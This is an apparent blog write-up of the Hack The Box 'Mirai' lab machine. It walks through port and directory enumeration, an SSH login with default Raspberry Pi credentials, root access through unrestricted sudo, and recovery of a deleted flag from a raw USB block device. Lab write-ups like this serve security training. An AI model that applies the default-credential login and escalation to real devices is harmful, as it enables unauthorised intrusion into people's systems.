Mirai Writeup

12 September 2022 #CTF #HTB #box #easy #linux

mirai info


You guessed it, we will start with a nmap scan:

$ sudo nmap -A -oN enum/1000tcp.nmap
22/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey: 
|   1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
|   2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
|   256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
|_  256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
53/tcp open  domain  dnsmasq 2.76
| dns-nsid: 
|_  bind.version: dnsmasq-2.76
80/tcp open  http    lighttpd 1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: lighttpd/1.4.35


DNS is listening on tcp so we should try to perform a zone transfer. However we have no hostname, so nothing interesting comes up.


If we try to access the website we get a 404:

$ curl -i
HTTP/1.1 404 Not Found
X-Pi-hole: A black hole for Internet advertisements.
Content-type: text/html; charset=UTF-8
Content-Length: 0
Date: Wed, 14 Sep 2022 11:16:08 GMT
Server: lighttpd/1.4.35

There is this X-Pi-hole header that looks interesting. A quick search tells us this is a 'network wide ad blocking' service.

Let's run gobuster:

gobuster dir -u -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o enum/root.gobuster
/admin                (Status: 301) [Size: 0] [-->]

We can access this admin page:

pi hole page

This confirms that we are indeed dealing with a pi hole device


The most popular way to use this Pi-hole service is, as the name suggests running it on a raspberry pi.

The other hint that we have is the name of the box: Mirai, which is also the name of a botnet composed of IoT devices using default credentials.

A quick search reveals the default creds for a raspberry pi are pi:raspberry. Let's try to login:

$ ssh pi@
pi@'s password:
pi@raspberrypi:~ $ find -name user.txt



Let's check sudo privileges:

pi@raspberrypi:~ $ sudo -l
Matching Defaults entries for pi on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User pi may run the following commands on localhost:
    (ALL : ALL) ALL

It appears the 'pi' user can run any command as root without the password:

pi@raspberrypi:~ $ sudo -i
root@raspberrypi:~# cat root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...

Well, it seems we'll have to work a bit more for the root flag. The message says there is a backup on a USB stick so let's use lsblk (list block devices) to find it:

root@raspberrypi:~# lsblk
sda      8:0    0   10G  0 disk
├─sda1   8:1    0  1.3G  0 part /lib/live/mount/persistence/sda1
└─sda2   8:2    0  8.7G  0 part /lib/live/mount/persistence/sda2
sdb      8:16   0   10M  0 disk /media/usbstick
sr0     11:0    1 1024M  0 rom
loop0    7:0    0  1.2G  1 loop /lib/live/mount/rootfs/filesystem.squashfs

We can see that sdb which is most likely our USB stick is mounted on /media/usbstick:

root@raspberrypi:~# ls -RA /media/usbstick
damnit.txt  lost+found


No root.txt but let's check out this damnit.txt file:

root@raspberrypi:~# cat /media/usbstick/damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?


Fucking Hell James.

We have to recover this file, but remember: in Unix everything is a file, including block devices. That means we can use standard tools like grep or strings:

root@raspberrypi:~# grep -a root.txt /dev/sdb

The output is a bit weird, but we can see that there used to be a root.txt file here.

Since we know what we want (a md5 hash), we can grep for a string that contains 32 hex characters:

root@raspberrypi:~# grep -aoP '[[:xdigit:]]{32}' /dev/sdb

And boom, here is our flag.

This approach worked because we knew what we wanted and the file was relatively small. A better way to do things is described in 0xdf's writeup.

Key Takeaways